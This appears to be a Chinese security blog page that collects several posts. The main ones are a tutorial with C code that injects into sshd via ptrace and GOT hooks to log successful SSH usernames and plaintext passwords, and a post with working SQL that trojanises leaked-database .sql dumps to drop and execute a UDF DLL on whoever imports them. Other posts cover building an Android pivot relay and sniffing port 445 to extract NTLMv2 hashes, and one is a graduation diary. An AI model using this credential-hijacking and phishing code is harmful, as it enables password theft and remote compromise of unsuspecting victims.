分析并HOOK SSHD来劫持密码

前言

项目地址:sshdHooker,开箱即用,但是只支持x64。

当我们通过洞,拿到一台linux机器的最高权限的时候,我们基本都想扩大战果。然而和windows不同,linux的加密方式除了某些特别远古版本的系统,大部分系统加密强度都是很高的,而且又没有类似lsass这样的东西甚至会把明文密码记录内存,也没有NTLM这种好用的通用token,所以基本都是使用一些特殊的方式记录密码。例如PAM,就比如我这个文章:一般路过PAM后门 / SSH密码记录

改PAM有个很大的过程,那就是需要编译和替换文件,这个过程中,会遇到一个很大的问题,那就是编译版本和经常性的爆炸。那么问题来了,我们都拿到root了,就没有一种,简单粗暴的方法嘛?

在上面文章中,我们可以看到,使用strace监控所有文件调用,我们可以成功的在栈指行过程中记录到我们收到的密码明文。使用strace的优点是比如重编译PAM和替换文件,直接进行一个读取对于我们来说爆炸的几率实在是太低了。唯一的缺点就是直接用strace,生成的数据量实在是太多了,而且我们也没办法找到登陆的密码是否是我们想要的密码。

那么有没有什么办法,用类似strace的形式,读取内存并且过滤出我们想要的东西呢?这就是我们今天讨论的内容。

流程分析

先总结一下我们有什么,strace,是使用ptrace直接记录系统调用的,基本就是ptrace监听attach。所以我们的目标也很明确,就是使用ptrace整一个花活。

最开始的设想,是整一个监控栈指行的地方,直接定位到相关地址,然后检查栈的内容(传入的参数),转念一想,这不就是HOOK一个地址,然后把参数跳转到我们的函数,然后去检查传入内容,最后再把原始数据丢回原函数(地址)

正好,我们手头里之前研究过了一个东西,那就是linux下的进程注入器:Linux下进程隐藏 二 -- 进程注入(So注入)

可以注入到内存之后,就要来一个经典问题:HOOK哪里?怎么HOOK?

HOOK哪里-PAM调用机制

一般路过PAM后门 / SSH密码记录 文章可以看到,我们的unix_pam.so是用来进行密码验证的模块

// linux-pam/modules/pam_unix/pam_unix_auth.c
int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
    unsigned long long ctrl;
    int retval, *ret_data = NULL;
    const char *name;
    const char *p;

    D(("called."));

    /* .....省略... */

    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

    AUTH_RETURN;
}

然而通过观察目录下其他文件,我们可以发现,其他模块也有 pam_sm_authenticate这个函数。该项目属于libpam,是sshd一个下属的模块之一,用于控制PAM模块。

我们观察了一下该目录下的其他模块,也都有 pam_sm_authenticate 之类的函数,那么我们大胆猜测一下,会不会是sshd的操作流程是

  • sshd启动
  • 加载libpam
  • libpam搜索目录下所有文件
  • libpam 动态加载pam_sm_authenticate
  • pam模块导入成功

猜想没有用,还是得看源码是怎么写的。于是乎,直接在项目进行搜索。我们成功在pam_handle下发现了相关代码

int _pam_add_handler(pam_handle_t *pamh
             , int handler_type, int other, int stack_level, int type
             , int *actions, const char *mod_path
             , int argc, char **argv, int argvlen)
{
    struct loaded_module *mod = NULL;
    struct handler **handler_p;
    struct handler **handler_p2;
    struct handlers *the_handlers;
    const char *sym, *sym2;
    char *mod_full_path;
    servicefn func, func2;
    int mod_type = PAM_MT_FAULTY_MOD;

    D(("called."));
    IF_NO_PAMH("_pam_add_handler",pamh,PAM_SYSTEM_ERR);

    D(("_pam_add_handler: adding type %d, handler_type %d, module `%s'",
    type, handler_type, mod_path));

    if ((handler_type == PAM_HT_MODULE || handler_type == PAM_HT_SILENT_MODULE) &&
    mod_path != NULL) {
    if (mod_path[0] == '/') {
        mod = _pam_load_module(pamh, mod_path, handler_type);
    } else if (asprintf(&mod_full_path, "%s%s",
                 DEFAULT_MODULE_PATH, mod_path) >= 0) {
        mod = _pam_load_module(pamh, mod_full_path, handler_type);
        _pam_drop(mod_full_path);
    } else {
        pam_syslog(pamh, LOG_CRIT, "cannot malloc full mod path");
        return PAM_ABORT;
    }

    if (mod == NULL) {
        /* if we get here with NULL it means allocation error */
        return PAM_ABORT;
    }

    mod_type = mod->type;
    }

    if (mod_path == NULL)
    mod_path = UNKNOWN_MODULE;

    /*
     * At this point 'mod' points to the stored/loaded module.
     */

    /* Now define the handler(s) based on mod->dlhandle and type */

    /* decide which list of handlers to use */
    the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf;

    handler_p = handler_p2 = NULL;
    func = func2 = NULL;
    sym2 = NULL;

    /* point handler_p's at the root addresses of the function stacks */
    switch (type) {
    case PAM_T_AUTH:
    handler_p = &the_handlers->authenticate;
    sym = "pam_sm_authenticate";
    handler_p2 = &the_handlers->setcred;
    sym2 = "pam_sm_setcred";
    break;
    case PAM_T_SESS:
    handler_p = &the_handlers->open_session;
    sym = "pam_sm_open_session";
    handler_p2 = &the_handlers->close_session;
    sym2 = "pam_sm_close_session";
    break;
    case PAM_T_ACCT:
    handler_p = &the_handlers->acct_mgmt;
    sym = "pam_sm_acct_mgmt";
    break;
    case PAM_T_PASS:
    handler_p = &the_handlers->chauthtok;
    sym = "pam_sm_chauthtok";
    break;
    default:
    /* Illegal module type */
    D(("_pam_add_handler: illegal module type %d", type));
    return PAM_ABORT;
    }

    /* are the modules reliable? */
    if (mod_type != PAM_MT_DYNAMIC_MOD &&
     mod_type != PAM_MT_FAULTY_MOD) {
    D(("_pam_add_handlers: illegal module library type; %d", mod_type));
    pam_syslog(pamh, LOG_ERR,
            "internal error: module library type not known: %s;%d",
            sym, mod_type);
    return PAM_ABORT;
    }

    /* now identify this module's functions - for non-faulty modules */

    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func = _pam_dlsym(mod->dl_handle, sym)) ) {
    pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym);
    }
    if (sym2) {
    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func2 = _pam_dlsym(mod->dl_handle, sym2)) ) {
        pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym2);
    }
    }
/* ..... 后面省略*/

我们直接看到_pam_dlsym_pam_dlopen,基本可以证明我们的猜想。

就是libpam是通过dlopen和dlsym动态加载的。我们只要hook了dlopen和dlsym,判断是否是pam_unix.so的不就行了?

(然而以上只是理论可行,实际上注入的时候不知道为什么老是HOOK不到dlopen的GOT表,出了一点问题,不知道为什么,百思不得姐,最后还是使用了其他方式,但是原理还是一样的,这个后面再说)

怎么HOOK?-GOT HOOK

最最最简单的办法是,inline hook,直接找到API地址,然后修改他们开头的字节,直接jmp到我们的函数地址,然后等我们函数执行完的时候再还原。

然而有个问题是,这是windows api的修改方法,我们这个是linux,修改的是外部so加载的地址。所以我们得转变个思路:我们是如何调用一个所加载so的导出函数地址的?这就涉及到了另一个东西,GOT表。大概意思就是这个表中加载的所有so的导出地址,有函数名->对应映射基地址等,只需要把这个表所对应的导出地址修改成我们函数的地址即可。

好,二话不说,github找段代码: inject_got,把这玩意编译成so文件拿去注入就OK了

现在我们有能力直接HOOK我们想要的函数了。

验证猜想

既然要素齐全,比起先上手写代码,我们可以先试试,最快速的验证方式是直接GDB打个断点,然后使用SSH连接,看看我们能否hook到dlopen就知道了。然后我们就照做了。

1.png

可以看到,我们用gdb直接载入sshd之后,用b给dlopen下了一个断点。结果并没有什么卯月,还给我们了弹了两个process 1401834 is executing new program: /usr/sbin/sshd 新子进程创建的提示。大胆猜测,会不会是这两个子进程是分开用来处理ssh登录请求的呢?我们真实要注入的地址其实是这些子进程?

我们通过ssh脸上自己之后,使用pstree来查看子进程。

2.png

可以看到sshd之后又跟了两个子进程,我们挨个挂载。直接b 跟进子进程

3.png

可以发现,并没有什么卯月,然而实际上,可能只是我们注入的时间晚了的缘故,在我们注入之前,这些函数都调用完了。还是继续回到strace来看看这些到底是如何做到的。

首先我们先看子进程是如何创建的。我们用strace记录了sshd进程再ssh接收到登录并且密码输入正确的时候(我截图的这个stree日志是之前记录的,那时候sshd的pid是9731)
4.png

在第一个子进程出现的时候,sshd调用了clone调用

9731  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
10242 set_robust_list(0x7f5ee78fbbe0, 24 <unfinished ...>
9731  <... clone resumed>, child_tidptr=0x7f5ee78fbbd0) = 10242

创建了子进程10242之后,clone返回了子进程的pid。

之后再有子进程调用clone,创建了子子进程10249

10242 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc005b0dbd0) = 10249

符合之前pstree看到的结果。

然后再看我们的pam模块是怎么加载的,直接搜索.so相关的
5.png

可以看到,进行so相关操作的是由第二个子进程操作处理的,所以我们重点目光看向那就行。

监控子进程

既然每个ssh连接是由不同的子进程处理的,那么我们只注入sshd进程肯定是不行的了。因为子进程才是关键,根据strace结果,我们知道系统是调用了clone,并且还能拿到结果,那么就简单了,直接使用pstrace,拦截syscall调用就行,根据syscall调用表,我们知道clone的调用号是56。

大概伪代码如下

    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        pthread_t id;
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);// 获得调用号值
        if(num == 56){ // 是调用了clone
            printf("system call num = %ld\n", num);
            ptrace_getregs( target_pid, &regs ); // 获得调用结果
            printf("Process maybe = %ld \n", regs.rax); 
            subprocess = regs.rax;
            // do_something(subprocess);
        }
    }

控制注入顺序

然而,知晓了clone创建的时间,还是不能直接HOOK进去修改dlopen。因为这时候注入进去,会发生一个问题,我们以上的那些模块操作都是在libpam中进行的,而我们这个进程并不是直接在子进程中的,所以如果我们直接使用上述的inject_got注入进去,会没办法修改到libpam中的dlopen。

直接看代码,原始代码inject_got中的代码应该是这样

/* .... */
char buf[MAX_BUF_SIZE] = {0}; 
int err = get_exe_name(buf, sizeof(buf));
void* base_addr = get_module_base(getpid(),buf); // 注意这个buf,这个buf是读取自身进程
/* .... */

其中get_module_base的作用是从/prof/pid/maps里读取模块的基地址,然后再载入内存ELF进行GOT表查找的,这里原始函数查找的是主模块(自身进程)的基地址,即便修改了主模块的GOT,libpam里的是不会照着主模块的GOT进行执行的,必须修改到libpam的GOT表。

6.png

但是根据上述所说,直接clone的时候就注入,libpam还没有载入到内存中,maps里就找不到基地址,修改GOT就更无从谈起,因此我们需要一个函数来判断libpam的加载,最简单的办法就是HOOK openat调用号进行判断。我们在我们原始的注入程序中加入以下判断

int WaitforLibPAM(pid_t target_pid){
    struct user_regs_struct regs;
    if ( ptrace_attach( target_pid ) == -1 ){

        printf("WaitforLibPAM attach Failed\n" );
        return -1;
    }
    if ( ptrace_getregs( target_pid, &regs ) == -1 ){
        printf("-- Getregs Error\n" );
        return -1;
    }
    //ptrace_continue( target_pid );
    long num,bit=0,finded = 0;
    char *path = malloc(255);
    char libsystemd[] = "common-session";
    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
            //printf("++ SubProcess: system call num = %ld\n", num);
        if(num ==257){
            ptrace_getregs( target_pid, &regs ) ;
            printf("++ SubProcess: rsi :%p\n",regs.rsi);
            //ptrace_writedata(target_pid,regs.rip,local_code_ptr,code_length );
            //ptrace_continue( target_pid );
            ptrace_readdata(target_pid,(void *)regs.rsi,path,255);
            printf("++ SubProcess:openat path :%s\n",path);
            if(strstr(path,libsystemd)){
                ptrace_detach(target_pid);
                // do_inject_so(target_pid);
                break;
            }
        }
    }
}

通过strace判断,打开common-session文件在打开libpam.so文件之后,因此只要判断openat打开了common-session就能知道libpam已经被加载了。

然后把inject_got中的代码修改一下

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1");

这样后续的修改GOT就会是修改libpam的GOT了

过程控制-读取密码

回到上面的pam_unix_auth.c,我们知道了所有的函数都会调用pam_sm_authenticate,那么我们如何知道其中的密码,和如何判断密码正确?我们先看密码如何获取

直接看到pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)的第一个参数pamh,它是一个pam_handle_t结构如下,

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
    struct pam_data *data;
    struct pam_environ *env;      /* structure to maintain environment list */
    struct _pam_fail_delay fail_delay;   /* helper function for easy delays */
    struct pam_xauth_data xauth;        /* auth info for X display */
    struct service handlers;
    struct _pam_former_state former;  /* library state - support for
                     event driven applications */
    const char *mod_name;    /* Name of the module currently executed */
    int mod_argc;               /* Number of module arguments */
    char **mod_argv;            /* module arguments */
    int choice;            /* Which function we call from the module */

#ifdef HAVE_LIBAUDIT
    int audit_state;             /* keep track of reported audit messages */
#endif
    int authtok_verified;
    char *confdir;
};

很多看不懂的结构体甚至还有一个ifdef是不是?肯定有人会问了,"这ifdef,说明这玩意的结构长度不定长,它函数传的又是指针,我们怎么知道它具体偏移是多少如果传错了咋办呀?"

其实,我们真正需要的只有authtokuser,这两个成员地址,这两个偏移量是始终固定的,后续的成员要不要都无所谓,所以在我们的inject_got中只需要定义成如下

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
};

即可,反正传给我们的是指针,我们根据偏移读取到了账号和密码再把指针原封不动的传给原函数就行。

能获取到密码之后,我们就需要判断是如何验证密码了,继续看到unic_pam_auth.c,直接看到函数最后两行

retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;
    AUTH_RETURN;

通过理解代码,_unix_verify_password就是用来验证账号密码的,如果账号密码正确,retval返回值就是PAM_SUCCESS(定义为0),那么后续呢?我们直接看AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

可以看到retval就直接被返回回去了。所有条件达成。
我们只需要做一个HOOK函数

int my_pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{

    int ret = old_pam_sm_authenticate(pamh,module_data_name,data,cleanup);
    if(ret==0){
        printf("login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        // do something
    }
    return ret;
}

组合-理想

通过组合所有条件,我们手里有一个注入器,一个so(inject_got),我们的流程基本就是。

  • 注入器注入SSHD
  • 注入器HOOK系统调用clone,判断子进程出现
  • 注入器注入子进程
  • 注入器HOOK子进程OPENAT,判断libpam是否装载完毕
  • libpam装载完毕,注入so文件(inject_got)
  • inject_got查找libpam中dlopen和dlsym的got并修改为my_dlopen和my_dlsym
  • 等待执行dlopen时,跳转到my_dlopen
  • my_dlopen 记录下pam_unix.so 的 handle 地址,之后正常指行dlopen
  • 等待指行dlsym时候,跳转到my_dlsym
  • my_dlsym判断加载的请求是否是pam_sm_authenticate
  • my_dlsym判断加载的handle是否是pam_unix.so
  • my_dlsym所有条件符合,把函数地址修改成my_pam_sm_authenticate
  • 等待原本pam_unix.so中的pam_sm_authenticate将被执行时,跳转到my_pam_sm_authenticate
  • my_pam_sm_authenticate记录下用户密码,跳转到原始pam_sm_authenticate
  • 判断原始pam_sm_authenticate是否为PAM_SUCCESS=0,是则代表密码正确,记录
  • 密码记录完成

组合-现实

这是理想情况,然而可恶的是,tmd不知道为什么inject_so老是无法修改dlopen的,倒是能找到dlsym的GOT表并修改,就很蛋疼,光有dlsym的函数地址也不是不行,但是问题就在于,调用pam_sm_authenticate的不止一个so,我不知道哪个handle是属于pam_unix.so的pam_sm_authenticate,不同的so文件中pam_sm_authenticate的返回值代表的也不一样。

本来想着能不能通过dlsym的handle,逆回去看看handle所对应的路径,然而看了下相关源码(linux就是这点好,可以遇事不决看源码),并没有相关操作。于是乎寄,我们只能找到另外HOOK点。

我们再次回到_unix_verify_password结束后流程中来,为什么直接看到这之后?因为这之前的代码是无法判断密码是否正确,所以哪怕HOOK了也没用。_unix_verify_password后的操作只有一个,那就是AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

我们把木管看向pam_set_data,又有独一无二的字符串(指unix_setcred_return)让我们确认是属于位于这里的pam_set_data,又有先前_unix_verify_password运行后的结果的值(指*ret_data = retval;

于是乎,我们很容易的就可以把目光转移到这个函数上来,这个函数在pam_unix.so中,所以我们要把之前的基地址从libpam改为pam_unix.so

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/security/pam_unix.so");

然后,我们在做一个hook函数

int my_pam_set_data(struct pam_handle *pamh, const char *module_data_name, void *data,void* cleanup)
{

        char unix_setcred_return[] = "unix_setcred_return";
        if(strstr(unix_setcred_return,module_data_name)){
        FILE *fp = NULL;
        fp = fopen("/tmp/set_data.txt", "a+");
        void * test = malloc(sizeof(int));
        fprintf(fp,"pam module_data_name: %s %d\n",module_data_name,*(int *)data);
        int ret = *(int*)data;
        if(ret == 0){
                fprintf(fp,"login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        }
        fclose(fp);
        } 
        //if(strstr(module_data_name,unix_setcred_return)){
        //while(1){} }
    return old_pam_set_data(pamh,module_data_name,data,cleanup);
}

这样就大功告成辣!

Tags: hook, linux, 劫持, sshd, 二进制

毕业了

前言

今天毕业典礼,然而却没有我。。。。好吧其实只是我单纯的懒得回学校而已。毕业证和学位证都拿到了,还没到我的手上,等同学帮我寄回来。之前还有点担心自己能不能毕业,毕竟院里一声不吭,虽然说每科都过了,但是就怕漏了那一两门是不是?好在最后虽然破比学院一声不吭,但是它证还是会发的。今天顺利拿到了两证心里也是一块大石头落地了。

四年时光是短暂的,好吧其实我现在还以为自己停留在2020年,从2020年之后,每年的世界感觉过得飞快。特别是大二,完全没有渡过的记忆,因为都是在家,来的时候就大三了。

不过也正是大二那年,让我计算机实战水平有了突飞猛进的进步,虽然说感觉现在还是非常的菜,但是感觉和18年刚进大学的时候比起来又好那么一点点?

不过想来,我这个高中文凭都没有的人,竟然能混出个大学文凭,也是挺有意思的。上大学之前我妈都明确告诉我,一定得混一个出来。不然我就是个初中文凭了。那时候我还不理解是什么意思,结果就这么被我快快乐乐的玩了四年玩了过来。

说起玩的这四年,感觉和群友相比确实一个天一个地,别人都是卷卷卷,而我就是玩玩玩,除开大一,基本就是琴房宿舍教学楼,其中宿舍待得最多,基本都是在玩电脑。看群里每天都在哀嚎卷卷卷,或者就是现充每天吃喝玩乐四处逛逛,感觉属实是两个世界。不过也挺好的,至少我过的挺快乐不是?

不过其中感觉疫情+网课占了很大比例,对于别人来说网课确实是影响效率的东西,但是对于我这种纯摸鱼王来说网课简直就是摸鱼神器,特别是学习通,啊,梦中签到,梦中上课,梦中考试,梦中挂科了属于是(指我因为一整个学期都用自动签到没听过一节课导致不知道考试日期错过考试这回事)。让我这个纯纯懒狗懒上+懒,基本就是一天18小时高强度上网了。

对于学校来说,其实并没有什么好留恋的,当初上这个专业基本也就是图的个大学文凭。虽然有过一段时间的迷茫期,犹豫要不要真的靠大学学的这个专业吃饭。不过最后还是败给了兴趣。所以对于学校来说,并没有什么留恋。

当然也许只是现在并没有啥留恋?毕竟人是个缅怀过去的生物,但是你让我现在一个心野一心想出去闯荡一番的孩子问想不想要回家我也不能假惺惺的回答想回家是吧?

大学之后去干什么?我的想法无非就是换一个地方继续玩电脑,毕竟小学就开始玩电脑,初中也在玩,高中一直都在玩,甚至到了大学,基本都在玩这台电脑。从脚本小子到程序员再到立志当一名带嘿阔,盗取无数QQ号,写出一个属于自己的熊猫烧香,就是当初的梦想。

虽然早就到完成了当初学习这门技术时候的梦想,甚至比当初的梦想还要遥不可及。但是走到这一步,也愈发发现自己的菜和水平低下目光短浅。

大学四年给我带来最有价值的是什么?确实四年间我拥有了比之前都富裕的时间研究电脑,让我电脑水平确确实实的突飞猛进。但是最有价值的估计是给了我一份让我某天玩不动电脑了,能安心继续活下去养老用的备用技能吧。毕竟咱也是确确实实到过学校当过老师的人了,没准哪天,你们就能看到鳖老师在音乐课上放着音乐开着黑框框说对着台下一群不明所以的学生表演着他那三脚猫功夫。也不知道有没有哪个懵懂的少年少女那时候会被这无聊过时的技术吸引走上一条同样的带黑阔之路(笑)。

Tags: 随笔, 毕业

mysql-.sql文件钓鱼上线

前言

之前聊天的时候nux提了一嘴,能不能在裤子里插🐎,几百MB发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百M或者几百G的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。

为什么选用.sql呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进mysql里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。

具体想法基本就是UDF,直接写出DLL然后运行。能RCE的基本就是这样了。

然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题

  • mysql用户权限问题
  • mysql插件路径问题
  • 写出时候的动态路径问题
  • mysql插件路径权限问题

前面三个都好解决,最后一个是真的无解,所以遇到那些带secure开关的mysql基本就没办法上线,linux默认安装一般都带这个,但是好在,windows下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是windows洗,所以问题不太大。

对于用户权限问题,我们只需要在制作我们的钓鱼sql的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用root权限跑了(没错就是我)。至于如何获取mysql插件也很简单,直接用select @@basedir as basePath from dual拼接一下就行。

最复杂的其实是动态路径问题,我之前一直以为outfile不能用变量,结果今天查了一下,有prepareexecute这种好东西。可以动态指行sql语句,那么这些要素不都齐全了?直接进行一个代码的缝合

代码

直接上代码

SET @BasePath = (select @@basedir as basePath from dual) ; 
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();

写出dll后用udf的方式上线就行

一些解决办法

有时候不同版本的mysql的插件路径不同,并且64位windows/linux,32位windows/linux,所需要的路径/二进制文件也不同,这些改如何处理呢?

我的看法就是直接进行一个暴力试错,反正几百M的sql,多写几行别人也看不出来,不知道哪个版本的mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制hex都写进去,总有一个会成功的.jpg

进阶

其实,如果不考虑上线,只考虑探针的话,我们select一些内容就行了,但是如果直接select不知道路径的情况下,我们能获取到的内容又不多,比如在linux下就只能读取到passwd,hosts这类东西。

但是对于这份.sql使用者的群体敏感性,我们基本能确认这些使用者用的不是红/蓝队,就是黑/灰产,对于他们这些用户来说,我们熟悉的cs/Navicat/qq/微信这些敏感文件都储存与C:\users\用户名\xxxxx下, 再此当中,只有用户名是不固定的?

有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?

甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?

~ 所以接下来的目标,就是研究sql脚本如何自动获取路径,达成自动化探针的效果。 ~

通过这个文章看了一下:MySQL蜜罐获取攻击者微信ID

好的,要素又齐全了。

可以通过C:\Windows\PFRO.log大概率获取到电脑使用者的用户名。

那么直接通过load_file读取文件,然后使用mysql自带的left()、right()、substring()、substring_index()这类函数,不就能成了?

未完待续(哪天心情好了补代码)

Tags: mysql, 钓鱼, udf

安卓网络中继中的一些小操作

前言

考虑整一个近源网络跳板,平均下来便宜+简单的实现就是弄一个安卓手机了,4G卡用来控制手机,然后用WIFI接入,再选择是否通过4G卡转发。感觉可以试着整一个,毕竟自带4G上网模块又有wifi模块不考虑性能低端机成本又低
稍微看了下第一个问题就是安卓默认机制是不能同时使用wifi和4G。
第二个是得考虑如何转发emmmmm
看了一下,其实也不需要魔改安卓系统,倒是可以用命令行进行一些操作。具体操作基本就是insmod加载wifi驱动然后启用网卡然后用命令行连接ap然后写路由就行
大概有了点思路,就弄一个openvpn,作为服务写到安卓系统里默认启动,然后再做一个c2控制器,用来控制连接wifi,断开wifi等以及修改openvpn路由等操作,然后这个c2控制器永远走4G流量,必要的时候可以通过c2控制器修改路由表进行桥接wifi流量啊,转发wifi流量啊或者让指定程序只走wifi流量这样子。。大概就能简单又轻松的实现想要的功能了。
现在的问题是,有什么机器是,便宜(<=100)又电池(>=3500毫安)又大又能解锁(虽然我觉得低端机大多数都是直接拿exp就能拿root的)的

更新

后面思考了一下,其实并不一定需要内置openvpn,其实只要内置一个标准的tty给反弹出来,需要的时候根据需求起动相关服务就行。本篇文章就记录下当你有一个安卓shell时候的一些小操作。

openvpn

第一步,既然是作为跳板,其实直接部署一个frp或者natsocks直接转发出一个socks5出来是最最最简单的状态,并且这些东西都是用golang编写的,直接跨平台交叉编译arm版本的frp或者natsocks就行。简单粗暴。但是考虑到内网实战环境,比如一些路由、数据嗅探(这个是主要的)、桥接等等七七八八的问题。所以打算整一套openvpn先。

为了后续方便,我们先安装一个termux先。termux自带了openvpn,理论上可以直接pkg install openvpn,然后我看它给的单独那个二进制有点问题。起不来,还阉割了许多东西。所以直接进行一个openvpn的编译就行。

正巧,termux能很方便的给我们整出一个完整的编译链。所以接下来的调试我们都直接用termux进行,然而在电脑上操作手机都是直接使用adb,如果你想在adb中直接操作termux,可以在adb中使用如下代码

resize > /dev/null
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export LD_LIBRARY_PATH='/data/data/com.termux/files/usr/lib'
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets:$PATH"
export LANG='en_US.UTF-8'
export SHELL='/data/data/com.termux/files/usr/bin/bash'
cd "$HOME"
exec "$SHELL" -l

注意,此时会遇到一个坑!有时候运行如上代码会发现没有权限问题,这时候一定要使用su切换到root,运行ls -al /data/data/com.termux查看termux的用户是哪个用户,然后exit推出root权限之后用su切换过去。

因为有时候adb的默认权限是shell,会引发一些权限问题。如图
1.jpg

之后在termux中的shell里,我们只需要

pkg install clang
pkg install cmake

安装基础环境,之后直接去github下载openvpn,github地址:https://github.com/OpenVPN/openvpn

切换成root进行编译,因为安卓的一些读写机制,/sdcard这类地方是没办法设置权限的,所以尽量把下载的数据放到/tmp或者放到termux目录(/data/data/com.termux/files/home)下,这类地方才可以设置权限。

给configure设置u+x权限,然后执行后。会出现以下各种奇奇怪怪的问题,首先就是缺少依赖
2.jpg
这种直接使用pkg安装就行,比如如图的lzo,我们可以用pkg install liblzo-dev解决。

再或者就是遇到这种:
3.jpg
直接在编译后面加上它的--disable-xxxxx就行,总之它说啥就是啥。加上这些之后,基本configure就会通过生成MakeFile文件啦。

4.jpg

之后自信满满的make,就会发现,啊
5.jpg
所以直接运行pkg install automake,之后使用automake就能编译出这些依赖。

6.jpg

之后使用make等待编译成功就行了。然后就可以使用make install了。这时候你就会发现一些/或者/usr这些目录是没有办法写的,因为挂载的时候就没有相关权限。这时候我们就需要运行df -h,查看相关挂载,并使用mount -o rw,remount /来对相关目录就行重新读写挂载

MakeFile默认的安装目录是/usr/local,我这挂载点是/,所以直接运行mount -o rw,remount /就行了。如果要修改地址就自己修改脚本修改到其他地址即可。

然后你就会发现openvpn安装成功了。

7.jpg

直接使用easy-rsa,直接去github上下载,直接下载release,然后chmod下就能使用了。之后直接参考:[OpenVPN服务部署
][8]

8.jpg

生成完证书,再根据需要写一下配置文件,最后运行 openvpn --config /your_conf_path.conf就可以跑起来啦

9.jpg

配置wifi/4g/otg共通

这章才是本篇的重头戏,毕竟openvpn配不来无所谓,实在不行起个frp也是一样凑合的打,不一定要openvpn。但是不能wifi和4g同时上网那可是不行的,不然遇到奇怪的网络环境甚至是不出网的网络环境,我们的这个跳板也就基本白费了。

懒得更新了,咕咕咕

配置动态路由

配置开机自启动

adb切换usb传输模式

进阶:path 添加模拟hid设备支持

这章可能会咕咕咕

Tags: 安卓

工作组环境下的内网渗透:一些基础打法

前言

好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些RMI,也只有一些开发机才会有跑些web。

但是大部分时候,大部分机器就是一个沉默术士,一看80,啊,没开,3389,啊,没开,开了啥?445,135,139没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝),这些,如果这些都没有,估计大部分时候只能干瞪眼了。

这就是现在的,过于注重web而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么BT5什么ettercap进行劫持啥的,什么明教教主BT5学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打web阿打数据库阿打服务什么的嘛。

现在想来还是当时的我太naive了。那时候的内网环境和现在的内网环境还是有很大差别的。

极简模式

简单方式,如果你直接日下路由器。无论用什么方法,直接监听445端口,并捕获为pcap。

tcpdump.png

监听一段时间,可以使用 NTLMRawUnHide 项目来从pcap中提取ntlmv2。直接运行:python .\NTLMRawUnHide.py -i .\b.pcap

tiqu.png

